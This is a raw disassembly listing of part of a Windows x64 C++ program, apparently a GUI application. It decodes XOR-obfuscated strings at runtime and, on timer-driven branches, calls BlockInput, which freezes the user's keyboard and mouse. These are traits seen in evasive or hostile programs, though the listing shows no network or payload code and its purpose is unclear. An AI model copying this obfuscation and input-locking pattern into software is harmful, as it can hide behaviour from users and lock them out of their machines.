xor byte [rbp + 0x29], 0x32
xor byte [rbp + 0x2a], 0x33
xor byte [rbp + 0x2b], 0x34
xor byte [rbp + 0x2c], 0x35
xor byte [rbp + 0x2d], 0x36
xor byte [rbp + 0x2e], 0x37
xor byte [rbp + 0x2f], 0x38
xor byte [rbp + 0x30], 0x39
xor byte [rbp + 0x31], 0x3a
lea rcx, [rbp + 0x28]
call fcn.1400469b0
movups xmmword [rbp + 0x40], xmm9
mov rbx, qword [0x14053ff50]
mov dword [rbp + 0x40], r14d
movups xmm0, xmmword [rbx + 0x39cc]
movups xmmword [rbp + 0x44], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x40]
call fcn.140030570
cmp dword [rbx + 0x4a74], 0
je 0x1400698e0
movups xmmword [rbx + 0x39cc], xmm9
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfd4c]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.dWQASTL_]
movsd qword [rbp + 0x88], xmm0
movzx ecx, word [0x1400cf2c0]
mov word [rbp + 0x90], cx
movzx eax, byte [0x1400cf2c2]
mov byte [rbp + 0x88], 0x55
xor byte [rbp + 0x89], 0x32
xor byte [rbp + 0x8a], 0x33
xor byte [rbp + 0x8b], 0x34
xor byte [rbp + 0x8c], 0x35
xor byte [rbp + 0x8d], 0x36
xor byte [rbp + 0x8e], 0x37
xor byte [rbp + 0x8f], 0x38
xor cl, 0x39
mov byte [rbp + 0x90], cl
xor byte [rbp + 0x91], 0x3a
xor al, 0x3b
mov byte [rbp + 0x92], al
lea rcx, [rbp + 0x88]
call fcn.1400469b0
mov r8, qword [0x14053ff50]
movsxd rax, dword [r8 + 0x4a78]
cmp eax, 1
jl 0x1400699fc
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4a80]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov r8, qword [0x14053ff50]
mov rax, qword [r8 + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [r8 + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
movss xmm6, dword [0x1400cfd24]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfd00]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov eax, dword [str.w_EQx_f7]
mov dword [rbp + 0x8f0], eax
movzx ecx, word [0x1400cf7f8]
mov word [rbp + 0x8f4], cx
movzx eax, byte [0x1400cf7fa]
mov byte [rbp + 0x8f0], 0x46
xor byte [rbp + 0x8f1], 0x32
xor byte [rbp + 0x8f2], 0x33
xor byte [rbp + 0x8f3], 0x34
xor cl, 0x35
mov byte [rbp + 0x8f4], cl
xor byte [rbp + 0x8f5], 0x36
xor al, 0x37
mov byte [rbp + 0x8f6], al
lea rcx, [rbp + 0x8f0]
call fcn.1400469b0
movups xmmword [rbp + 0x40], xmm9
mov rbx, qword [0x14053ff50]
mov dword [rbp + 0x40], r14d
movups xmm0, xmmword [rbx + 0x39cc]
movups xmmword [rbp + 0x44], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x40]
call fcn.140030570
cmp dword [rbx + 0x4a74], 0
je 0x140069af3
movups xmmword [rbx + 0x39cc], xmm9
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfd18]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.dWQASTL_]
movsd qword [rbp + 0x98], xmm0
movzx ecx, word [0x1400cf2c0]
mov word [rbp + 0xa0], cx
movzx eax, byte [0x1400cf2c2]
mov byte [rbp + 0x98], 0x55
xor byte [rbp + 0x99], 0x32
xor byte [rbp + 0x9a], 0x33
xor byte [rbp + 0x9b], 0x34
xor byte [rbp + 0x9c], 0x35
xor byte [rbp + 0x9d], 0x36
xor byte [rbp + 0x9e], 0x37
xor byte [rbp + 0x9f], 0x38
xor cl, 0x39
mov byte [rbp + 0xa0], cl
xor byte [rbp + 0xa1], 0x3a
xor al, 0x3b
mov byte [rbp + 0xa2], al
lea rcx, [rbp + 0x98]
call fcn.1400469b0
mov r8, qword [0x14053ff50]
movsxd rax, dword [r8 + 0x4a78]
cmp eax, 1
jl 0x140069c0f
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4a80]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov r8, qword [0x14053ff50]
mov rax, qword [r8 + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [r8 + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
addss xmm0, xmm7
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.cSZZWY_]
movsd qword [rbp + 0xa8], xmm0
movzx ecx, word [0x1400cf938]
mov word [rbp + 0xb0], cx
movzx eax, byte [0x1400cf93a]
mov byte [rbp + 0xa8], 0x52
xor byte [rbp + 0xa9], 0x32
xor byte [rbp + 0xaa], 0x33
xor byte [rbp + 0xab], 0x34
xor byte [rbp + 0xac], 0x35
xor byte [rbp + 0xad], 0x36
xor byte [rbp + 0xae], 0x37
xor byte [rbp + 0xaf], 0x38
xor cl, 0x39
mov byte [rbp + 0xb0], cl
xor byte [rbp + 0xb1], 0x3a
xor al, 0x3b
mov byte [rbp + 0xb2], al
lea rcx, [rbp + 0xa8]
call fcn.1400469b0
movups xmmword [rbp + 0x40], xmm9
mov rbx, qword [0x14053ff50]
mov dword [rbp + 0x40], r14d
movups xmm0, xmmword [rbx + 0x39cc]
movups xmmword [rbp + 0x44], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0x40]
call fcn.140030570
cmp dword [rbx + 0x4a74], 0
je 0x140069d1a
movups xmmword [rbx + 0x39cc], xmm9
mov rcx, qword [0x14053ff50]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm1, xmm6
addss xmm0, dword [0x1400cfd50]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
movsd xmm0, qword [str.dWQASTL_]
movsd qword [rbp + 0xb8], xmm0
movzx ecx, word [0x1400cf2c0]
mov word [rbp + 0xc0], cx
movzx eax, byte [0x1400cf2c2]
mov byte [rbp + 0xb8], 0x55
xor byte [rbp + 0xb9], 0x32
xor byte [rbp + 0xba], 0x33
xor byte [rbp + 0xbb], 0x34
xor byte [rbp + 0xbc], 0x35
xor byte [rbp + 0xbd], 0x36
xor byte [rbp + 0xbe], 0x37
xor byte [rbp + 0xbf], 0x38
xor cl, 0x39
mov byte [rbp + 0xc0], cl
xor byte [rbp + 0xc1], 0x3a
xor al, 0x3b
mov byte [rbp + 0xc2], al
lea rcx, [rbp + 0xb8]
call fcn.1400469b0
mov r8, qword [0x14053ff50]
movsxd rax, dword [r8 + 0x4a78]
cmp eax, 1
jl 0x140069e2f
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x4a80]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
movups xmmword [rbp + 0x40], xmm10
movups xmmword [rbp + 0x40], xmm8
movups xmmword [rbp + 0x40], xmm8
movups xmmword [rbp + 0x40], xmm10
movabs rax, 0x2f01a6a73533fb22
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x680], rax
movabs rax, 0x568d602ee1dd95a4
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x688], rax
movabs rax, 0x236df5ad683b4975
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x690], rax
movabs rbx, 0x69ea756c8c474d38
mov qword [rbp + 0x650], rbx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x698], rax
movabs rdi, 0x465786d347528f71
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x6e0], rax
movabs rsi, 0x3ff7094280a8e1d6
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x236df5ad683b2e1b
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x650], rbx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x6f8], rax
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x680], ymm1
movabs rax, 0x465786d34752f902
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x958], rax
vmovdqa xmm0, xmmword [rbp + 0x260]
vxorps xmm0, xmm0, xmmword [rbp + 0x950]
vmovdqa xmmword [rbp + 0x260], xmm0
vmovdqa xmmword [rbp + 0x40], xmm10
vmovdqa xmmword [rbp + 0xe0], xmm8
vmovdqa xmmword [rbp + 0x110], xmm8
vmovdqa xmmword [rbp + 0x650], xmm10
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x30], rax
vmovss xmm0, dword [0x1400cfce8]
vmovss dword [rsp + 0x28], xmm0
vmovss xmm6, dword [0x1400cfd54]
vmovss dword [rsp + 0x20], xmm6
vmovss xmm3, dword [0x1400cfd30]
vmovss xmm7, dword [0x1400cfcf8]
vmovaps xmm2, xmm7
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x260]
vzeroupper
call fcn.140050070
test al, al
je 0x14006a05d
mov dword [0x140540140], 2
movups xmmword [rbp + 0x40], xmm10
movups xmmword [rbp + 0x40], xmm8
movups xmmword [rbp + 0x40], xmm8
movups xmmword [rbp + 0x40], xmm10
movabs rax, 0x2f3be7a63320e627
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x250], rax
movabs rax, 0x3ff75910c18884ac
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x948], rax
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0x940]
movdqa xmmword [rbp + 0x250], xmm0
movabs rax, 0x465786d34752ee07
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x650], rdi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x650], rsi
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x938], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x930]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmmword [rbp + 0x40], xmm10
movdqa xmmword [rbp + 0xe0], xmm8
movdqa xmmword [rbp + 0x110], xmm8
movdqa xmmword [rbp + 0x650], xmm10
lea rax, [rbp + 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x650]
mov qword [rsp + 0x30], rax
movss xmm0, dword [0x1400cfce8]
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm6
movss xmm3, dword [0x1400cfd40]
movaps xmm2, xmm7
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x230]
call fcn.140050070
test al, al
je 0x14006a1f3
mov dword [0x140540140], 3
lea r9, [fcn.14000a200]
mov r8, r12
mov edx, 0x20
lea rcx, [rbp + 0x720]
call fcn.140092cec
mov rcx, qword [0x14053ff50]
movss xmm6, dword [0x1400cfcf4]
movss xmm7, dword [0x1400cfbf4]
cmp dword [0x140540140], 2
jne 0x14006a2d1
mov dword [rbp + 0x158], 0x44160000
mov dword [rbp + 0x15c], 0x437a0000
xor r8d, r8d
lea rdx, [rbp + 0x158]
mov rcx, qword [rcx + 0x4000]
call fcn.140025830
mov dword [0x14053bcb8], 0x43fa0000
mov rcx, qword [0x14053ff50]
movss xmm3, dword [rcx + 0x18]
movaps xmm1, xmm3
addss xmm1, xmm3
movaps xmm0, xmm6
movss xmm2, dword [0x14053bcbc]
subss xmm0, xmm2
mulss xmm0, xmm1
addss xmm2, xmm0
movss dword [0x14053bcbc], xmm2
movss xmm0, dword [0x140540120]
comiss xmm2, dword [0x1400cfcf0]
jbe 0x14006a2b5
addss xmm0, xmm3
movss dword [0x140540120], xmm0
comiss xmm0, dword [0x1400cfc90]
jb 0x14006a2d1
mov ecx, r12d
call qword [sym.imp.USER32.dll_BlockInput]
call fcn.140063490
jmp 0x14006a378
cmp dword [0x140540140], 3
jne 0x14006a37f
mov dword [rbp + 0x640], 0x44160000
mov dword [rbp + 0x644], 0x437a0000
xor r8d, r8d
lea rdx, [rbp + 0x640]
mov rcx, qword [rcx + 0x4000]
call fcn.140025830
mov dword [0x14053bcb8], 0x43fa0000
mov rax, qword [0x14053ff50]
movss xmm3, dword [rax + 0x18]
movaps xmm1, xmm3
addss xmm1, xmm3
movaps xmm0, xmm6
movss xmm2, dword [0x14053bcbc]
subss xmm0, xmm2
mulss xmm0, xmm1
addss xmm2, xmm0
movss dword [0x14053bcbc], xmm2
movss xmm0, dword [0x140540120]
comiss xmm2, dword [0x1400cfcf0]
jbe 0x14006a361
addss xmm0, xmm3
movss dword [0x140540120], xmm0
comiss xmm0, dword [0x1400cfc90]
jb 0x14006a37f
mov ecx, r12d
call qword [sym.imp.USER32.dll_BlockInput]
call fcn.140061cf0
mov dword [0x140540140], r12d
movabs r15, 0x4924924924924925
call fcn.140024ec0
call fcn.14001f720
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
mov rcx, qword [0x140540148]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1405400f0]
mov edx, r12d
call qword [rax + 0x108]
mov rcx, qword [0x140540148]
mov rax, qword [rcx]
lea r8, [rbp + 0x8f8]
mov rdx, qword [0x1405400f0]
call qword [rax + 0x190]
mov rax, qword [0x14053ff50]
mov rax, qword [rax + 0x4b10]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r14
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140041d50
mov rcx, qword [0x1405400f8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r12d
call qword [rax + 0x40]
test r13b, r13b
je 0x140067bb0
mov rbx, qword [0x14053ff50]
test rbx, rbx
je 0x14006a430
mov rdi, qword [rbx + 0x98]
jmp 0x14006a433
mov rdi, r14
call fcn.140042d00
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14006a447
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14006a455
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14006a464
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbx + 0x88], r14
mov qword [rbx + 0x98], r14
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x14053ff50]
test r8, r8
je 0x14006a4e5
mov r9d, dword [r8 + 0x3f58]
movsx rdx, word [r8 + 0x60f0]
lea rcx, [r8 + 0x60f4]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14006a4da
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rcx, [r8 + 0x60f4]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x60ec]
mov rdx, qword [0x14053ff40]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140043230
mov rbx, qword [0x14053ff50]
mov qword [0x14053ff50], rbx
call fcn.14001b4d0
mov qword [0x14053ff50], r14
test rbx, rbx
je 0x14006a5a3
mov rcx, rbx
call fcn.1400314a0
mov r8, qword [0x14053ff50]
test r8, r8
je 0x14006a594
mov r9d, dword [r8 + 0x3f58]
movsx r10, word [r8 + 0x60f0]
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14006a589
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x60ec]
mov rdx, qword [0x14053ff40]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.14006ad90
mov rcx, qword [0x14053ffc8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x608]
mov rcx, qword [rbp + 0x630]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, 0xf
jbe 0x14006a60e
inc rdx
mov rcx, qword [rbp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a609
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a609
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x6c0], r14
mov qword [rbp + 0x6c8], 0xf
mov byte [rbp + 0x6b0], 0
lea rcx, [rbp + 0x840]
call fcn.14000a200
nop
lea rcx, [rbp + 0x740]
call fcn.14000a200
nop
lea rcx, [rbp + 0x860]
call fcn.14000a200
nop
lea rcx, [rbp + 0x760]
call fcn.14000a200
nop
lea rcx, [rbp + 0x7c0]
call fcn.14000a200
nop
lea rcx, [rbp + 0x7f0]
call fcn.14000a200
nop
cmp dword [rbp + 0x818], 0
je 0x14006a685
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x828], 0
je 0x14006a695
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rcx, [rbp + 0x700]
call fcn.14000a200
nop
lea rcx, [rbp + 0x780]
call fcn.14004f240
nop
lea rcx, [rbp + 0x7a0]
call fcn.14000a200
nop
cmp dword [rbp + 0x838], 0
je 0x14006a6cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0xa98]
xor rcx, rsp
call fcn.140092760
lea r11, [rsp + 0xbd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14006ad90
nop
mov rdx, qword [rbp + 0x608]
mov rcx, qword [rbp + 0x630]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, 0xf
jbe 0x14006a795
inc rdx
mov rcx, qword [rbp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a790
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a790
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x6c0], r14
mov qword [rbp + 0x6c8], 0xf
mov byte [rbp + 0x6b0], 0
mov rdx, qword [rbp + 0x858]
cmp rdx, 0xf
jbe 0x14006a7f3
inc rdx
mov rcx, qword [rbp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a7ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a7ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
nop
mov rdx, qword [rbp + 0x758]
cmp rdx, 0xf
jbe 0x14006a837
inc rdx
mov rcx, qword [rbp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a832
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a832
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x750], r14
mov qword [rbp + 0x758], 0xf
mov byte [rbp + 0x740], 0
mov rdx, qword [rbp + 0x878]
cmp rdx, 0xf
jbe 0x14006a894
inc rdx
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a88f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a88f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x870], r14
mov qword [rbp + 0x878], 0xf
mov byte [rbp + 0x860], 0
mov rdx, qword [rbp + 0x778]
cmp rdx, 0xf
jbe 0x14006a8f1
inc rdx
mov rcx, qword [rbp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a8ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a8ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x770], r14
mov qword [rbp + 0x778], 0xf
mov byte [rbp + 0x760], 0
mov rdx, qword [rbp + 0x7d8]
cmp rdx, 0xf
jbe 0x14006a94e
inc rdx
mov rcx, qword [rbp + 0x7c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a949
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a949
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x7d0], r14
mov qword [rbp + 0x7d8], 0xf
mov byte [rbp + 0x7c0], 0
mov rdx, qword [rbp + 0x808]
cmp rdx, 0xf
jbe 0x14006a9ab
inc rdx
mov rcx, qword [rbp + 0x7f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a9a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a9a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x800], r14
mov qword [rbp + 0x808], 0xf
mov byte [rbp + 0x7f0], 0
cmp dword [rbp + 0x818], 0
je 0x14006a9d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x828], 0
je 0x14006a9e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp + 0x718]
cmp rdx, 0xf
jbe 0x14006aa28
inc rdx
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006aa23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006aa23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x710], r14
mov qword [rbp + 0x718], 0xf
mov byte [rbp + 0x700], 0
mov rdx, qword [rbp + 0x798]
cmp rdx, 7
jbe 0x14006aa8a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006aa85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006aa85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x790], r14
mov qword [rbp + 0x798], 7
mov word [rbp + 0x780], r14w
mov rdx, qword [rbp + 0x7b8]
cmp rdx, 0xf
jbe 0x14006aae8
inc rdx
mov rcx, qword [rbp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006aae3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006aae3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a14
mov qword [rbp + 0x7b0], r14
mov qword [rbp + 0x7b8], 0xf
mov byte [rbp + 0x7a0], 0
cmp dword [rbp + 0x838], 0
je 0x14006ab11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, r12d
jmp 0x14006a6ce
mov dword [rbp + 0x818], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x828], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x838], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rcx, [rbp + 0x130]
call fcn.1400781c0
nop
mov r8, rax
lea rcx, [rbp + 0x2d8]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x2d8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x130]
call fcn.1400784b0
nop
mov r8, rax
lea rcx, [rbp + 0x428]
call fcn.140078280
lea rdx, [0x1400e0b60]
lea rcx, [rbp + 0x428]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14006d5f0
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x640]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x130]
call fcn.1400784b0
nop
mov r8, rax
lea rcx, [rbp + 0x310]
call fcn.140078280
